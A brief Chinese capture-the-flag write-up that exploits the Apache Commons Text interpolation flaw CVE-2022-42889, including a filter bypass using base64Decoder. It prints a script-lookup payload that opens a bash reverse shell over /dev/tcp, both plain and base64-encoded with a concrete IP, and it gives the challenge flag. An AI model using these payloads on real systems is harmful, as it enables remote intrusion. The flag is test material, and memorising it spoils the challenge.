【RWCTF体验赛Writeup】 Apache Command Text Lab解题思路
题目分析
根据题目提示,apache command text lab,想到了cve-2022-42889 Apache Commmons Text远程代码执行漏洞,且该漏洞范围正好为 1.5 <= Apache Commons Text <= 1.9。
解题思路
利用apache commons text远程代码执行漏洞执行系统命令
涉及知识点
(1)apache commons text变量插值格式
(2)script标签的使用
(3)base64Deocder标签的使用
(4)通过java反弹shell相关内容
解题方法
- 尝试直接命令执行
![]()
得到script、file、url、dns标签不允许的提示,这时候想到了 base64Decoder
2. 将反弹shell的payload进行base64编码
payload:
${script:js:java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1')}

3. 在vps上建立监听

4. 使用 base64Decoder标签包裹base64后的payload, 并提交
payload:
${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoJy9iaW4vYmFzaCAtYyAkQHxiYXNoIDAgZWNobyBiYXNoIC1pID4mL2Rldi90Y3AvMTE0LjU1LjE2OS4yNTEvODAgMD4mMScpfQ==}

5. 执行readflag即可获得flag

flag:
rwctf{rwctf_lteration_ls_4_g0od_des1gN_e5aa}
